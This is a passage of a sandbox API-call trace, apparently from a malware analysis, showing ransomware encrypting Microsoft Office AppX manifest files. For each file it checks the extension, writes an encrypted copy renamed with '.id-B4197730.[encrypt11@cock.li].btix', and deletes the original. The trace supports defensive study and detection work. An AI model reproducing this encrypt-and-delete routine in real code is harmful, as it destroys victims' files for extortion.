(lpString1=".docx", lpString2="E.xml") returned -1 [0049.731] lstrlenW (lpString=".pdf") returned 4 [0049.731] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.731] lstrlenW (lpString=".xls") returned 4 [0049.731] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.731] lstrlenW (lpString=".xlsx") returned 5 [0049.731] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.731] lstrlenW (lpString=".ppt") returned 4 [0049.731] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0049.731] lstrlenW (lpString=".zip") returned 4 [0049.731] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.732] lstrlenW (lpString=".rar") returned 4 [0049.732] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.732] lstrlenW (lpString=".bz2") returned 4 [0049.732] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.732] lstrlenW (lpString=".7z") returned 3 [0049.732] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0049.732] lstrlenW (lpString=".dbf") returned 4 [0049.732] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0049.732] lstrlenW (lpString=".1cd") returned 4 [0049.732] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0049.732] lstrlenW (lpString=".jpg") returned 4 [0049.732] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.732] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.732] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53 [0049.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0049.732] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=1261) returned 1 [0049.732] CloseHandle (hObject=0x38c) returned 1 [0049.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0049.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0049.733] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.733] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0049.733] GetLastError () returned 0x0 [0049.733] ReadFile (in: hFile=0x38c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0049.806] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0049.807] ReadFile (in: hFile=0x38c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0049.807] WriteFile (in: hFile=0x364, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.807] SetEndOfFile (hFile=0x364) returned 1 [0049.807] CloseHandle (hObject=0x364) returned 1 [0049.807] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.807] SetEndOfFile (hFile=0x38c) returned 1 [0049.808] CloseHandle (hObject=0x38c) returned 1 [0049.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1 [0049.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0049.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0049.809] lstrlenW (lpString=".doc") returned 4 [0049.809] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.809] lstrlenW (lpString=".docx") returned 5 [0049.809] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.809] lstrlenW (lpString=".pdf") returned 4 [0049.809] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.809] lstrlenW (lpString=".xls") returned 4 [0049.809] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.809] lstrlenW (lpString=".xlsx") returned 5 [0049.809] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.809] lstrlenW (lpString=".ppt") returned 4 [0049.809] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0049.809] lstrlenW (lpString=".zip") returned 4 [0049.809] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.809] lstrlenW (lpString=".rar") returned 4 [0049.809] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.809] lstrlenW (lpString=".bz2") returned 4 [0049.809] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.809] lstrlenW (lpString=".7z") returned 3 [0049.809] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0049.810] lstrlenW (lpString=".dbf") returned 4 [0049.810] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0049.810] lstrlenW (lpString=".1cd") returned 4 [0049.810] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0049.810] lstrlenW (lpString=".jpg") returned 4 [0049.810] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0049.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0049.810] lstrlenW (lpString=".doc") returned 4 [0049.810] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.810] lstrlenW (lpString=".docx") returned 5 [0049.810] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.810] lstrlenW (lpString=".pdf") returned 4 [0049.810] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.810] lstrlenW (lpString=".xls") returned 4 [0049.810] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.810] lstrlenW (lpString=".xlsx") returned 5 [0049.810] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.810] lstrlenW (lpString=".ppt") returned 4 [0049.810] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0049.810] lstrlenW (lpString=".zip") returned 4 [0049.810] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.810] lstrlenW (lpString=".rar") returned 4 [0049.810] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.810] lstrlenW (lpString=".bz2") returned 4 [0049.810] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.810] lstrlenW (lpString=".7z") returned 3 [0049.810] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0049.810] lstrlenW (lpString=".dbf") returned 4 [0049.811] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0049.811] lstrlenW (lpString=".1cd") returned 4 [0049.811] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0049.811] lstrlenW (lpString=".jpg") returned 4 [0049.811] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.811] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.811] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53 [0049.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0049.837] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=1261) returned 1 [0049.837] CloseHandle (hObject=0x344) returned 1 [0049.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0049.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0049.837] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.837] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.838] GetLastError () returned 0x0 [0049.838] ReadFile (in: hFile=0x344, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0049.841] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0049.842] ReadFile (in: hFile=0x344, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0049.842] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.842] SetEndOfFile (hFile=0x328) returned 1 [0049.842] CloseHandle (hObject=0x328) returned 1 [0049.843] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.843] SetEndOfFile (hFile=0x344) returned 1 [0049.844] CloseHandle (hObject=0x344) returned 1 [0049.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1 [0049.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0049.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0049.844] lstrlenW (lpString=".doc") returned 4 [0049.844] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.844] lstrlenW (lpString=".docx") returned 5 [0049.844] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.844] lstrlenW (lpString=".pdf") returned 4 [0049.844] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.844] lstrlenW (lpString=".xls") returned 4 [0049.845] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.845] lstrlenW (lpString=".xlsx") returned 5 [0049.845] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.845] lstrlenW (lpString=".ppt") returned 4 [0049.845] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0049.845] lstrlenW (lpString=".zip") returned 4 [0049.845] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.845] lstrlenW (lpString=".rar") returned 4 [0049.845] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.845] lstrlenW (lpString=".bz2") returned 4 [0049.845] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.845] lstrlenW (lpString=".7z") returned 3 [0049.845] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0049.845] lstrlenW (lpString=".dbf") returned 4 [0049.845] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0049.845] lstrlenW (lpString=".1cd") returned 4 [0049.845] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0049.845] lstrlenW (lpString=".jpg") returned 4 [0049.845] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0049.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0049.845] lstrlenW (lpString=".doc") returned 4 [0049.845] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.845] lstrlenW (lpString=".docx") returned 5 [0049.845] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.845] lstrlenW (lpString=".pdf") returned 4 [0049.845] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.845] lstrlenW (lpString=".xls") returned 4 [0049.845] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.845] lstrlenW (lpString=".xlsx") returned 5 [0049.845] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.846] lstrlenW (lpString=".ppt") returned 4 [0049.846] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0049.846] lstrlenW (lpString=".zip") returned 4 [0049.846] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.846] lstrlenW (lpString=".rar") returned 4 [0049.846] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.846] lstrlenW (lpString=".bz2") returned 4 [0049.846] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.846] lstrlenW (lpString=".7z") returned 3 [0049.846] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0049.846] lstrlenW (lpString=".dbf") returned 4 [0049.846] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0049.846] lstrlenW (lpString=".1cd") returned 4 [0049.846] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0049.846] lstrlenW (lpString=".jpg") returned 4 [0049.846] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.846] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.846] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53 [0049.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0049.847] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=9216) returned 1 [0049.847] CloseHandle (hObject=0x344) returned 1 [0049.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220 [0049.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0049.847] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.847] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.847] GetLastError () returned 0x0 [0049.847] ReadFile (in: hFile=0x344, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x2400, lpOverlapped=0x0) returned 1 [0049.938] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x2410, lpOverlapped=0x0) returned 1 [0049.940] ReadFile (in: hFile=0x344, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0049.940] WriteFile (in: hFile=0x328, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.940] SetEndOfFile (hFile=0x328) returned 1 [0049.940] CloseHandle (hObject=0x328) returned 1 [0049.942] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0049.942] SetEndOfFile (hFile=0x344) returned 1 [0049.942] CloseHandle (hObject=0x344) returned 1 [0049.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1 [0049.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0049.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0049.943] lstrlenW (lpString=".doc") returned 4 [0049.943] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.943] lstrlenW (lpString=".docx") returned 5 [0049.943] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.943] lstrlenW (lpString=".pdf") returned 4 [0049.943] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.943] lstrlenW (lpString=".xls") returned 4 [0049.943] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.943] lstrlenW (lpString=".xlsx") returned 5 [0049.944] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.944] lstrlenW (lpString=".ppt") returned 4 [0049.944] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0049.944] lstrlenW (lpString=".zip") returned 4 [0049.945] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.945] lstrlenW (lpString=".rar") returned 4 [0049.945] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.945] lstrlenW (lpString=".bz2") returned 4 [0049.945] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.945] lstrlenW (lpString=".7z") returned 3 [0049.945] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.945] lstrlenW (lpString="C:\\Program Files\\Microsoft 